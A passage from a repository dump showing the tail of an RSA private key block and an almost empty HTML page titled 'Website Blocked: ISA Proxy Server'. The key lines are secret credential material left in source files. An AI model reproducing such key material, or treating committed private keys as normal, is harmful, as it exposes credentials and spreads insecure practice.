25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
26 | MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
27 | -----END RSA PRIVATE KEY-----
28 |
--------------------------------------------------------------------------------
/files/AccessDenied.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Website Blocked: ISA Proxy Server
4 |
14 |
15 |
16 |
30 |